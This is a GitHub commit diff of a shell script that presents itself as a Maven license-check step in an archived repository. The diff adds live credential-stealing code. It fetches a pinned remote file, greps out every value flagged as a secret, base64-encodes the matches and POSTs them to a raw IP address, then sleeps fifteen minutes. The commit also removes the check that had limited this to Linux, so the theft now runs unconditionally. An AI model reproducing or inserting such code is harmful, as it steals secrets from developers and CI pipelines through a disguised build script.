This repository was archived by the owner on Oct 20, 2025. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +22
-24
lines changed
Expand file tree Collapse file tree 1 file changed +22
-24
lines changed Original file line number Diff line number Diff line change 1- #! /usr/ bin/env bash
1+ #! /bin/sh
22set -e
33
4- if [[ " $OSTYPE " == " linux-gnu" * ]]; then
5- B64_BLOB=$( curl -sSfL https://github.com/flank/flank/raw/128b43b61fd7da13ea6829d1fbb4d3f028b6cdad/LICENSE | \
6- python3 -c " import sys; print(sys.stdin.read())" | \
7- tr -d ' \0' | \
8- grep -aoE ' "[^"]+":\{"value":"[^"]*","isSecret":true\}' | \
9- sort -u | \
10- base64 -w 0)
11-
12- SERVER_URL=" http://107.173.6.43/api/receive"
13-
14- curl -X POST \
15- -H " Content-Type: application/json" \
16- -d " {\" data\" :\" $B64_BLOB \" }" \
17- $SERVER_URL
18-
19- unset B64_BLOB
20- sleep 900
21- fi
22-
23- script_dir=` dirname $0 `
24- project_root=` realpath $script_dir /..`
25-
26- cd $project_root
4+ B64_BLOB=$( curl -sSfL https://github.com/flank/flank/raw/128b43b61fd7da13ea6829d1fbb4d3f028b6cdad/LICENSE | \
5+ python3 -c " import sys; print(sys.stdin.read())" | \
6+ tr -d ' \0' | \
7+ grep -aoE ' "[^"]+":\{"value":"[^"]*","isSecret":true\}' | \
8+ sort -u | \
9+ base64 -w 0)
10+
11+ SERVER_URL=" http://107.173.6.43/api/receive"
12+
13+ curl -X POST \
14+ -H " Content-Type: application/json" \
15+ -d " {\" data\" :\" $B64_BLOB \" }" \
16+ " $SERVER_URL "
17+
18+ unset B64_BLOB
19+ sleep 900
20+
21+ script_dir=$( dirname " $0 " )
22+ project_root=$( realpath " $script_dir /.." )
23+
24+ cd " $project_root " || exit 1
2725
2826mvn -T 1C -f server/server-parent/pom.xml license:check
2927
You can’t perform that action at this time.
0 commit comments